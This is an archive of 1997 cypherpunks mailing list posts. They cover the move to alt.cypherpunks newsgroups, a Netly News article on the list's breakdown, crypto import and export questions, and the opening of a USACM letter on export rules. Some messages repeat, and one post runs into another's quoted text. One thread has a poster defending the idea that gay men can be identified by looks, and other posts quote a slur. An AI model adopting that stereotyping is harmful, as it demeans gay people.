alt.cypherpunks.technical alt.cypherpunks.social I recommend that posters crosspost as follows: All messages, apart from announcements, go to alt.cypherpunks. Alt.cypherpunks.announce holds announcements only and it`s contents is disjoint with that of alt.cypherpunks. Alt.cypherpunks.technical: All posts to this group are also crossposted to alt.cypherpunks alt.cypherpunks.social: All posts to this group are also crossposted to alt.cypherpunks. The newsgroup names are pretty self explanatory but technical is just for technical discussion and social for discussion of social and political issues regarding cryptography. With this crossposting scheme readers can either get the whole content or just the part they want easily without filtering working overtime, for instance, I might choose to subscribe to alt.cypherpunks.technical and only dip into alt.cypherpunks.social when I felt like a flame war ;-) As I said, its only a guideline of course and post what you want where you want but i feel this organisation allows people to easily choose the part of the discussion they want to read. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From janke at unixg.ubc.ca Fri Feb 14 06:58:06 1997 From: janke at unixg.ubc.ca (Leonard Janke) Date: Fri, 14 Feb 1997 06:58:06 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702141458.GAA07309@toad.com> "Timothy C. May" writes: > [...] > Given that _political_ discussions of crypto are now encouraged in > _talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think > political and social essays dealing with crypto anarchy, offshore > databases, undermining governments, etc., will be welcome in the "comp" > hierarchy? > > I rather doubt it. And I would bet that if comp.org.cypherpunks is ever > approved, those who dislike crypto anarchy and sociopolitical chatter will > use the "comp" name to try to suppress such discussions. > [...] I think that the statement of our desire to create a new group should clearly indicate that the discussion group is of a special nature due to the tight integration of technical and political discussions. Cypherpunks are trying to achieve political goals through technological means, so it is difficult, and not regarded as desirable to produce a false dichotomy for discussions. As an example, we could cite the Linux newsgroups like comp.os.linux.misc. Linux is a piece of software written to help achieve a political goal, and, thus, in the Linux groups it is not considered off-topic to philosophize about these goals or the future as and after Linux knocks Microsoft out of the market. :) talk.politics.crypto and sci.crypt can, then, easily be argued against since the discussions there are much more restricted than what we desire. > [...] You really think whoever is spamming the list with ASCII art and > broke into Paul's account to post hundreds of "John Gilmore is a > cocksucker" posts will back off because of the "dedication" of some? To the > perverse personality, this is merely a greater challenge and temptation. > [...] Given that you have been on the list a great deal longer than I, I do respect that you may have deeper insights into the mind of the "perverse personality" than I do. I, however, am not aware of evidence that the person or persons behind the disruptions since the middle of last year would try to interrupt a democratic USENET creation vote. My recollection of the history is that the initial attacks were directed at you personally. Dr. Vulis was blamed for them and thus, apparently, became the target of nasty e-mailings to his site. He responded to this by spamming the list with rather large articles on Armenian war crimes and forwardings of the messages. At that point Gilmore booted Vulis. Gilmore then became a target of attack and, it seems that many (presumably) innocent bystanders were unwittingly subscribed to the list in an effort to cause more work, and, hence, annoyance to Gilmore when they complained about the unwanted mail. At this point many new personalities seemed to materialize out of nowhere bent on doing nothing more than fueling flame wars. Then the "moderation experiment" (fiasco)... I do not see in this evidence, however, that any of the disruptors would target the process of the creating a new group USENET group. At first, the the disruptor could easily have rationalized that anonymous, personal attacks were fair play, since anarachists favour no explicit rules with regards to speech. After Vulis was removed by Gilmore the disruptor could then rationalize that "anything goes" since list had then passed from a state of anarchy to one with Gilmore trying to decide who could or not be on the list. (I do not think that these conjectued rationalizations are valid myself, but am just trying to give an my thoughts on the psychology of the "perverse personality".) USENET nesgroup creation is whole new ball game, however. There are explicitly defined rules and the process is intended to be democratic. If my guess as to the identity of the person masterminding the attacks is correct, that person seems to have democratic sympathies or, at least, be strongly opposed to even hints of censorship, so I do not think he would attempt to disrupt the process of deciding if a new group is created or not since that would both be inferring in a democratic process and an attempt to prevent a group of people from creating a discussion group, and thus, himself, becoming a censor. (This makes me think that given that the process is intended to be democratic, it may be more fitting that a more anarchisticly method is used to create an "alt.*" group for cyphepunks than the democratic one used to create a "comp.*" one.) In any case, if you have deeper insights than mine into the mind of the disruptor, or evidence that he or she or them would try to disrupt a comp.* newsgroup creation proces, I would be eager to hear them. Leonard From gnu at toad.com Fri Feb 14 06:59:47 1997 From: gnu at toad.com (John Gilmore) Date: Fri, 14 Feb 1997 06:59:47 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702141459.GAA07338@toad.com> Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu The Netly News Network http://netlynews.com/ A List Goes Down In Flames by Declan McCullagh (declan at well.com) February 12, 1997 The plan for the cypherpunks mailing list was simple. It was to be an online gathering place, an intellectual mosh pit, dedicated to the free flow of ideas and personal privacy through encryption. Of course it caught on. From its modest beginnings connecting a few friends who lived in Northern California, it quickly grew into one of the most rowdy, volatile lists on the Net: Cypherpunks typically piped more than 100 messages a day into the mailboxes of nearly 2,000 subscribers. And the list became a kind of crypto-anarchist utopia. Populated by pseudonymous posters with names like Black Unicorn, it was a corner of cyberspace where PGP signatures and digital cash were the norm -- and there were no rules. Then yesterday came the news: The list was being evicted and faced imminent shutdown. In an e-mail seen 'round the Net, John Gilmore, Electronic Frontier Foundation cofounder and list maintainer, announced that he was no longer willing to provide a virtual home for the cypherpunks. In a post entitled "Put Up or Shut Up," he described how his efforts to improve the list through moderation were condemned, how technical problems were consuming more of his time, how pranksters had tried to subscribe the entire U.S. Congress to the list. How this experiment in crypto-anarchy had failed. He gave the cypherpunks 10 days to find new lodgings. "The last straw for me was seeing the reaction of the list to every attempt to improve it. It was to carp, to cut it down, to say you're doing everything wrong," Gilmore told me yesterday night. One of the first employees of Sun, Gilmore quit after eight years -- a millionaire more interested in pursuing ideas than dollars. But his experiment with the list has left him weary. "If everything I'm doing is wrong, I'm clearly not the right person to host the list," he said. "I would like to see some other structure in which the positive interactions on the list could continue. I'm not trying to create that structure anymore," he added. Instead, he would try the only true crypto-anarchist solution: "I'm handing it over to members to do what they wish with it." The cypherpunks first pierced the public's consciousness when Wired magazine splashed them across the cover of the second issue. The Whole Earth Review and the Village Voice followed soon after. The name "cypherpunk" came to be synonymous with a brash young breed of digerati who were intent on derailing the White House's encryption policies and conquering cyberspace. This was crypto with an attitude. Gilmore was typical of the breed. Monthly Bay Area meetings of the 'punks were held in the offices of Cygnus, a company he started to provide support for the free Unix alternative, GNU. But the veteran cypherpunk came under heavy fire in November 1996, when a loudmouthed flamer flooded the list with flame bait and ad hominem attacks on various members. Finally, Gilmore, ironically, gave him the boot -- and incited an all-consuming debate over what the concept of censorship means in a forum devoted to opposing it. In a society of crypto-anarchists, who should make the rules? The mailing list melted down. By last month, it seemed, more messages complained about censorship than discussed crypto. Indeed, for months Gilmore seemed unable to do anything right. He tried moderation, which proved to be even more contentious, raising the question of empowering one cypherpunk to decide what was appropriate for others to read. One member of the group, in effect, would be more equal than the rest. And why would members take the time to write elaborate, thoughtful articles on crypto-politics if their treatises might not make it past the moderator's keyboard? After the expulsion, some of the longtime list denizens left angrily, joining the 700 subscribers who had departed since the controversy began. One of those was Tim C. May, a crusty former Intel engineer who prides himself as the organizer of the first cypherpunk meeting in September 1992. In an essay summarizing the reasons for his departure, he wrote: "The proper solution to bad speech is more speech, not censorship. Censorship just makes opponents of 'speech anarchy' happy -- it affirms their basic belief that censors are needed." After all, May pointed out, the list ended up on Gilmore's toad.com machine only by happenstance -- it almost was housed on a workstation at the University of California at Berkeley. Ownership of the computer with the database of subscribers did not mean that Gilmore owned the cypherpunks. "Whatever our group once was, or still is, is not dependent on having a particular mailing list running on someone's home machine... and it cannot be claimed that any person 'owns' the cypherpunks group," May wrote. The cypherpunks have responded to Gilmore's eviction notice. List participants generally have halted the incessant attacks on Gilmore, and now the discussion has turned to how to continue this experiment in online anarchy -- while preventing one person from ever again having absolute control of the List. Within hours of Gilmore's announcement, posters were tossing around ideas of a distributed network of mailing lists that would carry the cypherpunk name, and other 'punks likely will migrate to the more tightly controlled coderpunks and cryptography lists. But for the true believers in crypto-anarchy, only one solution is adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no precedent... for halting distribution of Usenet newsgroups," Tim May wrote. That, in the end, is what defines a cypherpunk. ### From warlord at MIT.EDU Fri Feb 14 07:11:12 1997 From: warlord at MIT.EDU (Derek Atkins) Date: Fri, 14 Feb 1997 07:11:12 -0800 (PST) Subject: crypto restrictions Message-ID: <199702141511.HAA07618@toad.com> anand abhyankar writes: > 1) is it illegal to develop an encryption tool (s/w) outside the US > which uses > 40 bit size session keys and then import that s/w inside of > the US. Not currently. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord at MIT.EDU PGP key available From paul at fatmans.demon.co.uk Fri Feb 14 07:11:20 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 07:11:20 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702141511.HAA07633@toad.com> > > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > > consiencous newsadmins probably did not honor the rmgroup, as > > alt.cypherpunks should be acceptable, but most newsadmins are too > > overworked to actually look at most of the crap that comes through. > > For example, it hasn't received any messages on my news server, > > probably because the one upstream removed it. > > Seems I'm getting alt.cypherpunks.announce (empty), but not > alt.cypherpunks or any of the others that show up as newgroup'ed on > Deja News... Are they alive and well elsewhere? All of the groups have showed up at news.demon.co.uk (not suprisingly since I grouped them) and I haven`t seen any cancels. I was sent a message by some net.scum about him nearly rmgrouping alt.cypherpunks.announce because it was unmoderated but he got a stern "cypherpunk" talking to for that ;-) Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From aba at dcs.ex.ac.uk Fri Feb 14 07:11:24 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 14 Feb 1997 07:11:24 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702141511.HAA07640@toad.com> Declan McCullagh writes: > But the veteran cypherpunk came under heavy fire in November 1996, > when a loudmouthed flamer flooded the list with flame bait and ad > hominem attacks on various members. Finally, Gilmore, ironically, gave > him the boot [...] > > Indeed, for months Gilmore seemed unable to do anything right. He > tried moderation, which proved to be even more contentious, [...] > > After the expulsion, some of the longtime list denizens left > angrily, joining the 700 subscribers who had departed since the > controversy began. One of those was Tim C. May, a crusty former Intel > engineer who prides himself as the organizer of the first cypherpunk > meeting in September 1992. Tim left when the moderation experiment started, not after John unsubscribed Dimitri, and blocked him from re-subscribing. What does `crusty' mean as applied to a former Intel engineer? Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 > I haven't seen any rmgroups for alt.cypherpunks. Paul Bradley's > newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos' > newgroup made it onto the Net, and was reposted the next day by > usenet at news.myriad.ml.org. My local server (news.demon.co.uk) recognised my newgroup for alt.cypherpunks and it was immediately visible, I don`t know how far it propogated or where Mikes took effect but whatever the distribution we seem to have reached most main news servers. > alt.cypherpunks.announce > alt.cypherpunks.social > alt.cypherpunks.technical > > and, of course... > > alt.fan.paul.bradley What else? > The latter has been rmgrouped because it was not discussed in > alt.config. No, It was rmgrouped because the cmsg had no charter, I posted this to see if the Cabal would respond. > I might suggest that deliberately tweeking the whiskers of the Cabal by > gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. Quite so, I recieved mail the next day from a member of said clique telling me he "considered rmgrouping alt.cypherpunks.announce" because it was unmoderated. Needless to say he got a stern talking to for that one ;-) I guess I just have to much of a partiality for a little whisker tweeking ;-) > > -- > Eric Michael Cordian 0+ > O:.T:.O:. Mathematical Munitions Division > "Do What Thou Wilt Shall Be The Whole Of The Law" > Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From jcr at idiom.com Fri Feb 14 07:12:37 1997 From: jcr at idiom.com (John C. Randolph) Date: Fri, 14 Feb 1997 07:12:37 -0800 (PST) Subject: More on digital postage Message-ID: <199702141512.HAA07695@toad.com> Tim may says: >By the way, I think the "junk fax" and "junk phone call" laws are clearcut >violations of the First Amendment. I understand why the herd _wants_ these >laws, as it reduces the costs involved in replacing fax paper, running to >the telephone only to find someone trying to sell something, etc., but it >is quite clearly a prior restraint on speech, however well-intentioned. I have to disagree here. The junk fax law is a restraint on unauthorised use of property, i.e. *my* fax machine, *my* phone, etc. That tort of unauthorised use of property applies, whether someone's sending me a fax to sell me spamming software, or whether it's some kid ringing my doorbell and running away. It's not the speech that I'm fighting, it's the misuse of my property. Freedom of speech does not confer a right to use other people's property. -jcr From trei at process.com Fri Feb 14 07:13:00 1997 From: trei at process.com (Peter Trei) Date: Fri, 14 Feb 1997 07:13:00 -0800 (PST) Subject: crypto restrictions Message-ID: <199702141513.HAA07700@toad.com> > Date: Fri, 14 Feb 1997 11:51:18 -0800 > From: anand abhyankar > To: cypherpunks at toad.com > Subject: Re: crypto restrictions > Jeremiah A Blatz wrote: > > thanx for ur answer but then i have another question. > > 1) is it illegal to develop an encryption tool (s/w) outside the US > which uses > 40 bit size session keys and then import that s/w inside of > the US. > > anand.... No. Peter Trei Senior Software Engineer Purveyor Development Team Process Software Corporation http://www.process.com trei at process.com From paul at fatmans.demon.co.uk Fri Feb 14 07:13:15 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 07:13:15 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702141513.HAA07722@toad.com> > > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > > consiencous newsadmins probably did not honor the rmgroup, as > > alt.cypherpunks should be acceptable, but most newsadmins are too > > overworked to actually look at most of the crap that comes through. > > For example, it hasn't received any messages on my news server, > > probably because the one upstream removed it. > > Seems I'm getting alt.cypherpunks.announce (empty), but not > alt.cypherpunks or any of the others that show up as newgroup'ed on > Deja News... Are they alive and well elsewhere? All of the groups have showed up at news.demon.co.uk (not suprisingly since I grouped them) and I haven`t seen any cancels. I was sent a message by some net.scum about him nearly rmgrouping alt.cypherpunks.announce because it was unmoderated but he got a stern "cypherpunk" talking to for that ;-) Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From dthorn at gte.net Fri Feb 14 07:30:10 1997 From: dthorn at gte.net (Dale Thorn) Date: Fri, 14 Feb 1997 07:30:10 -0800 (PST) Subject: Dale disses gays. In-Reply-To: <199702140501.XAA28650@manifold.algebra.com> Message-ID: <330484AC.5E5@gte.net> Igor Chudov @ home wrote: > Dale Thorn wrote: > > I worked for a gay man in Beverly Hills and Encino for 3 years. I > > learned a lot about "signals" during that time. Bigot? I don't > > think so. One of my favorite customers, a nice lady who is Jewish > > (and who grew up where I did) told me she could spot 'em every time. > This is a typical case of overconfidence on her part. > If she thought about it for longer, she would realize that she cannot > benchmark her gay-spotting performance very well. > If you presented her with, say, 100 unknown men and 50 of them were gays > and she'd identify everyone correctly, I would be impressed. If you really intended to do this as an experiment, this method would not work. The way it works (and what she meant I believe): 1. Start with 100. Observe them very briefly and pick the most obvious candidates from immediately-discernable features. How accurate this would be is not so much hit or miss by misidentification as it is making too broad an evaluation on the first round. 2. Now that you've eliminated the most obvious of the gays and the most obvious non-gays, take only what's left and observe for somewhat longer, and you should be able (if you're as good as her) to pick off quite a few more. In the end, of course, there has to be doubt about quite a few, which is the whole point of having a non-discriminatory policy, so that nobody feels compelled to make judgements where they are not warranted. If you think I'm carrying this too far, check out the comedy movie with Tom Hanks and Sally Field, where Hanks identifies a Jewish doctor by superficial appearance alone. It's my only point. From toto at sk.sympatico.ca Fri Feb 14 07:32:10 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 14 Feb 1997 07:32:10 -0800 (PST) Subject: Fuck UseNet In-Reply-To: Message-ID: <33048C10.1206@sk.sympatico.ca> Jeremiah A Blatz wrote: > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > consiencous newsadmins probably did not honor the rmgroup, as > alt.cypherpunks should be acceptable, but most newsadmins are too > overworked to actually look at most of the crap that comes through. > Therefore, it would be a Good Thing to continue any discussion on > alt.config, and convince any cabal'ers who rmgroup it to re-new it. > Sending out boosters every couple of weeks wouldn't hurt, either. So, basically, you're saying that the flight from censorship should be toward a new CypherPunk 'home' where one is effectively censored automatically unless one kisses the ass of a Cabal? Toto From froomkin at law.miami.edu Fri Feb 14 08:02:05 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Fri, 14 Feb 1997 08:02:05 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702140618.WAA23553@toad.com> Message-ID: Just for the record. I will not post to USENET given the spamming that seems to go to IDs that appear there. If any of you reading this are interested in law&crypto topics, please bookmark my homepage, and vist every so often. == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From declan at pathfinder.com Fri Feb 14 08:02:23 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Fri, 14 Feb 1997 08:02:23 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) In-Reply-To: <199702141456.GAA07230@toad.com> Message-ID: On Fri, 14 Feb 1997, Jim Choate wrote: > I am taking intellectual property rights from nobody. If anything I am > giving unlimited intellectual rights to the material to humankind for > posterity. Sorta cypherpunkish, don't you think? I am amused by this. Jim's plan sounds much less cypherpunkish than collectivist. Communal property, ho! After all, workers have nothing to lose in this revolution but their chains. They have a world to gain. Workers of the world, unite! -Declan From declan at pathfinder.com Fri Feb 14 08:11:01 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Fri, 14 Feb 1997 08:11:01 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702141611.IAA09307@toad.com> On Fri, 14 Feb 1997, Jim Choate wrote: > I am taking intellectual property rights from nobody. If anything I am > giving unlimited intellectual rights to the material to humankind for > posterity. Sorta cypherpunkish, don't you think? I am amused by this. Jim's plan sounds much less cypherpunkish than collectivist. Communal property, ho! After all, workers have nothing to lose in this revolution but their chains. They have a world to gain. Workers of the world, unite! -Declan From toto at sk.sympatico.ca Fri Feb 14 08:11:03 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 14 Feb 1997 08:11:03 -0800 (PST) Subject: Fuck UseNet Message-ID: <199702141611.IAA09309@toad.com> Jeremiah A Blatz wrote: > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > consiencous newsadmins probably did not honor the rmgroup, as > alt.cypherpunks should be acceptable, but most newsadmins are too > overworked to actually look at most of the crap that comes through. > Therefore, it would be a Good Thing to continue any discussion on > alt.config, and convince any cabal'ers who rmgroup it to re-new it. > Sending out boosters every couple of weeks wouldn't hurt, either. So, basically, you're saying that the flight from censorship should be toward a new CypherPunk 'home' where one is effectively censored automatically unless one kisses the ass of a Cabal? Toto From dthorn at gte.net Fri Feb 14 08:11:10 1997 From: dthorn at gte.net (Dale Thorn) Date: Fri, 14 Feb 1997 08:11:10 -0800 (PST) Subject: Dale disses gays. Message-ID: <199702141611.IAA09316@toad.com> Igor Chudov @ home wrote: > Dale Thorn wrote: > > I worked for a gay man in Beverly Hills and Encino for 3 years. I > > learned a lot about "signals" during that time. Bigot? I don't > > think so. One of my favorite customers, a nice lady who is Jewish > > (and who grew up where I did) told me she could spot 'em every time. > This is a typical case of overconfidence on her part. > If she thought about it for longer, she would realize that she cannot > benchmark her gay-spotting performance very well. > If you presented her with, say, 100 unknown men and 50 of them were gays > and she'd identify everyone correctly, I would be impressed. If you really intended to do this as an experiment, this method would not work. The way it works (and what she meant I believe): 1. Start with 100. Observe them very briefly and pick the most obvious candidates from immediately-discernable features. How accurate this would be is not so much hit or miss by misidentification as it is making too broad an evaluation on the first round. 2. Now that you've eliminated the most obvious of the gays and the most obvious non-gays, take only what's left and observe for somewhat longer, and you should be able (if you're as good as her) to pick off quite a few more. In the end, of course, there has to be doubt about quite a few, which is the whole point of having a non-discriminatory policy, so that nobody feels compelled to make judgements where they are not warranted. If you think I'm carrying this too far, check out the comedy movie with Tom Hanks and Sally Field, where Hanks identifies a Jewish doctor by superficial appearance alone. It's my only point. From froomkin at law.miami.edu Fri Feb 14 08:11:25 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Fri, 14 Feb 1997 08:11:25 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702141611.IAA09328@toad.com> Just for the record. I will not post to USENET given the spamming that seems to go to IDs that appear there. If any of you reading this are interested in law&crypto topics, please bookmark my homepage, and vist every so often. == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From ichudov at algebra.com Fri Feb 14 08:11:37 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 14 Feb 1997 08:11:37 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <855916839.1020920.0@fatmans.demon.co.uk> Message-ID: <199702141604.KAA32699@manifold.algebra.com> paul at fatmans.demon.co.uk wrote: > > > It is too late to stop alt.cypherpunks, but if I had to make a > > > prediction again, I would predict that soon posters will BEG to help > > > them create comp.*.cypherpunks, because of spam and alt.flamage. > > > > Timmy has a valid point: the reason why a comp.* newsgroup might have less > > cross-posted and "off-topic" crap is because net.cops would be more > > likely to complain to posters' sysadmins. Having a charter state that > > cypherpunks have technical means to ignore traffic they don't like, > > and don't need anyone forging cancels or complaining to sysadmins > > or otherwise getting silenced, is a good idea. > > I don`t believe for one moment that, however well intentioned such a > move would be, it would work. The most notorious net.cops who > thoroughly deserve the (spit) after their name would take little > notice of such a charter and take it upon themselved to "act in the > best interests of the usenet community" That is not necessarily true. I asked Chris Lewis to not cancel any articles in soc.culture.russian.moderated (of which I am one of moderators) and it did not cause any problem. I was very pleased by his reaction. - Igor. From geeman at best.com Fri Feb 14 08:12:02 1997 From: geeman at best.com (geeman at best.com) Date: Fri, 14 Feb 1997 08:12:02 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <3.0.32.19970213082845.006c9298@best.com> The provocateurs won. Too bad. Seems Cpunks caved to the simplest of attacks. Proves you don't need key-escrow or any of the rest to ahem, "affect" unfettered discourse in cyberspace. At 11:23 PM 2/13/97 -0800, you wrote: >Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST) >From: Declan McCullagh >To: fight-censorship at vorlon.mit.edu > >The Netly News Network >http://netlynews.com/ > >A List Goes Down In Flames >by Declan McCullagh (declan at well.com) >February 12, 1997 > > The plan for the cypherpunks mailing list was simple. It was to be > an online gathering place, an intellectual mosh pit, dedicated to the > free flow of ideas and personal privacy through encryption. > > Of course it caught on. From its modest beginnings connecting a > few friends who lived in Northern California, it quickly grew into one > of the most rowdy, volatile lists on the Net: Cypherpunks typically > piped more than 100 messages a day into the mailboxes of nearly 2,000 > subscribers. And the list became a kind of crypto-anarchist utopia. > Populated by pseudonymous posters with names like Black Unicorn, it > was a corner of cyberspace where PGP signatures and digital cash were > the norm -- and there were no rules. Then yesterday came the news: The > list was being evicted and faced imminent shutdown. > > In an e-mail seen 'round the Net, John Gilmore, Electronic > Frontier Foundation cofounder and list maintainer, announced that he > was no longer willing to provide a virtual home for the cypherpunks. > In a post entitled "Put Up or Shut Up," he described how his efforts > to improve the list through moderation were condemned, how technical > problems were consuming more of his time, how pranksters had tried to > subscribe the entire U.S. Congress to the list. How this experiment in > crypto-anarchy had failed. He gave the cypherpunks 10 days to find new > lodgings. > > "The last straw for me was seeing the reaction of the list to > every attempt to improve it. It was to carp, to cut it down, to say > you're doing everything wrong," Gilmore told me yesterday night. One > of the first employees of Sun, Gilmore quit after eight years -- a > millionaire more interested in pursuing ideas than dollars. But his > experiment with the list has left him weary. "If everything I'm doing > is wrong, I'm clearly not the right person to host the list," he said. > > "I would like to see some other structure in which the positive > interactions on the list could continue. I'm not trying to create that > structure anymore," he added. Instead, he would try the only true > crypto-anarchist solution: "I'm handing it over to members to do what > they wish with it." > > The cypherpunks first pierced the public's consciousness when > Wired magazine splashed them across the cover of the second issue. The > Whole Earth Review and the Village Voice followed soon after. The name > "cypherpunk" came to be synonymous with a brash young breed of > digerati who were intent on derailing the White House's encryption > policies and conquering cyberspace. This was crypto with an attitude. > > Gilmore was typical of the breed. Monthly Bay Area meetings of the > 'punks were held in the offices of Cygnus, a company he started to > provide support for the free Unix alternative, GNU. > > But the veteran cypherpunk came under heavy fire in November 1996, > when a loudmouthed flamer flooded the list with flame bait and ad > hominem attacks on various members. Finally, Gilmore, ironically, gave > him the boot -- and incited an all-consuming debate over what the > concept of censorship means in a forum devoted to opposing it. In a > society of crypto-anarchists, who should make the rules? The mailing > list melted down. By last month, it seemed, more messages complained > about censorship than discussed crypto. > > Indeed, for months Gilmore seemed unable to do anything right. He > tried moderation, which proved to be even more contentious, raising > the question of empowering one cypherpunk to decide what was > appropriate for others to read. One member of the group, in effect, > would be more equal than the rest. And why would members take the time > to write elaborate, thoughtful articles on crypto-politics if their > treatises might not make it past the moderator's keyboard? > > After the expulsion, some of the longtime list denizens left > angrily, joining the 700 subscribers who had departed since the > controversy began. One of those was Tim C. May, a crusty former Intel > engineer who prides himself as the organizer of the first cypherpunk > meeting in September 1992. In an essay summarizing the reasons for his > departure, he wrote: "The proper solution to bad speech is more > speech, not censorship. Censorship just makes opponents of 'speech > anarchy' happy -- it affirms their basic belief that censors are > needed." > > After all, May pointed out, the list ended up on Gilmore's > toad.com machine only by happenstance -- it almost was housed on a > workstation at the University of California at Berkeley. Ownership of > the computer with the database of subscribers did not mean that > Gilmore owned the cypherpunks. "Whatever our group once was, or still > is, is not dependent on having a particular mailing list running on > someone's home machine... and it cannot be claimed that any person > 'owns' the cypherpunks group," May wrote. > > The cypherpunks have responded to Gilmore's eviction notice. List > participants generally have halted the incessant attacks on Gilmore, > and now the discussion has turned to how to continue this experiment > in online anarchy -- while preventing one person from ever again > having absolute control of the List. Within hours of Gilmore's > announcement, posters were tossing around ideas of a distributed > network of mailing lists that would carry the cypherpunk name, and > other 'punks likely will migrate to the more tightly controlled > coderpunks and cryptography lists. > > But for the true believers in crypto-anarchy, only one solution is > adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no > precedent... for halting distribution of Usenet newsgroups," Tim May > wrote. That, in the end, is what defines a cypherpunk. > >### > > > From jmb at FRB.GOV Fri Feb 14 08:26:28 1997 From: jmb at FRB.GOV (Jonathan M. Bresler) Date: Fri, 14 Feb 1997 08:26:28 -0800 (PST) Subject: Need a good bi-directional mail-news gateway In-Reply-To: Message-ID: <199702141558.KAA28153@kryten.frb.gov> much as the irony of the idea appeals, i am not in a position to offer a host/machine to run the list. i *can* offer what i have learned from running the FreeBSD mailing lists for 2+ years. so who has a host/machine, that we can use ;) jmb >At 3:18 pm -0500 2/12/97, Jonathan M. Bresler wrote: > ^^^^^^^ >> your expected mail volume is 100,000+ messages a day? >> >> i run lists that do 200,000+ routinely. >> recent peak of 350,000 messages >> >> does that meet your needs? > >Great. > >Let's run cypherpunks with a government subsidy. > >;-). > >Pulling your leg, just a bit.. > >Cheers, >Bob Hettinga > >"So much for a geodesic monitary system..." > > >----------------- >Robert Hettinga (rah at shipwright.com), Philodox >e$, 44 Farquhar Street, Boston, MA 02131 USA >"Never attribute to conspiracy what can be >explained by stupidity." -- Jerry Pournelle >The e$ Home Page: http://www.shipwright.com/rah/ >FC97: Anguilla, anyone? http://www.ai/fc97/ > > From declan at well.com Fri Feb 14 08:29:35 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 14 Feb 1997 08:29:35 -0800 (PST) Subject: USACM analysis of Commerce Dept crypto export proposals Message-ID: ---------- Forwarded message ---------- Date: Fri, 14 Feb 1997 08:28:28 -0800 (PST) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: USACM analysis of Commerce Dept crypto export proposals February 12, 1997 Nancy Crowe Regulatory Policy Division Bureau of Export Administration Department of Commerce Room 2705 14th Street and Pennsylvania Ave., N.W. Washington, D.C. 20230. Docket No. 960918265-6366-03 Dear Ms. Crowe The United States Public Policy Committee for the Association for Computing (USACM) welcomes this opportunity to submit our views on the Interim Rule issued by the Department of Commerce with regard to "Encryption Items Transferred From the United States Munitions List to the Commerce Control List." The USACM believes it is in the best interest of the U.S. government to promote the widespread use of strong encryption. >From our perspective the Interim Rule fails to recognize the legitimate needs and interests of academic, professional, scientific, and ordinary users of telecommunications technology. Thus, the Interim Rule must be modified before it can resolve the many problems with the current export controls on encryption technologies. Introduction and Summary The Association for Computing is an international professional society whose 76,000 members (60,000 in the U.S.) represent a critical mass of computer scientists in education, industry, and government. The USACM 